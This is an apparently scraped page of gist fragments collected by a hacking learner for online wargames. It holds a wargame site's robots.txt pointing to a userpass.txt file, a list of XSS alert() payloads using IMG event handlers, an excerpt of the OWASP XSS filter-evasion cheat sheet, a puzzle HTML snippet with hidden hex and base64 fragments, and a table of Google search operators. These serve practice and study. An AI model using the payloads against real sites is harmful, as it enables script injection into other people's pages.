I am programmer who want to learn hacking. I start by playing online wargame. Here I list free online wargame available to anyone who want to learn hacking.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
===One comment - one level=== | |
https://www.hackthis.co.uk/robots.txt | |
User-agent: * | |
Allow: / | |
Disallow: /contact.php | |
Disallow: /inbox/ | |
Disallow: /levels/ | |
Disallow: /levels/extras/userpass.txt | |
Disallow: /users/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet | |
# based on the RSnake original http://ha.ckers.org/xss.html | |
# Retrieved on 2013-11-20 | |
# Much of this wildly obsolete | |
# | |
# XSS Locator 2 | |
'';!--"<XSS>=&{()} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="text"> | |
<!-- <img class="ie" src="https://i2.wp.com/freemasoninformation.com/wp-content/uploads/2014/05/all-seeing-eye-of-god.jpg?resize=796%2C1024" height="15%" width="10%"> --> | |
<!--<h2>c</h2> | |
<h1 class="undefined">W*** I w*** <span class="secret hex">84</span>o <span class="secret">r</span>**d of m<span class="secret">y</span> **fe | |
I<span class="secret">t</span> r*n* t<span class="secret">o</span>* <span class="secret">f</span>ast | |
so <span class="secret base">aW4=</span>si<span class="secret">d</span>e <span class="secret hex">77</span>y h<span class="secret base">ZQ==</span>art I <br><span class="dye">d*e</span><br>***ry **y.</h1> --> | |
<blockquote class="hy">Silence is the only space where the Spirit spreads its wings.</blockquote> | |
<!-- <p class="welcome"><a href="https://vk.com/digital_evidence" target="_blank" alt="Devil in details..."></a> </p> --> | |
<span class="word ">Undefined</span> | |
<span class="word ">says</span> |
Filter | Description | Example |
---|---|---|
allintext | Searches for occurrences of all the keywords given. | allintext:"keyword" |
intext | Searches for the occurrences of keywords all at once or one at a time. | intext:"keyword" |
inurl | Searches for a URL matching one of the keywords. | inurl:"keyword" |
allinurl | Searches for a URL matching all the keywords in the query. | allinurl:"keyword" |
intitle | Searches for occurrences of keywords in title all or one. | intitle:"keyword" |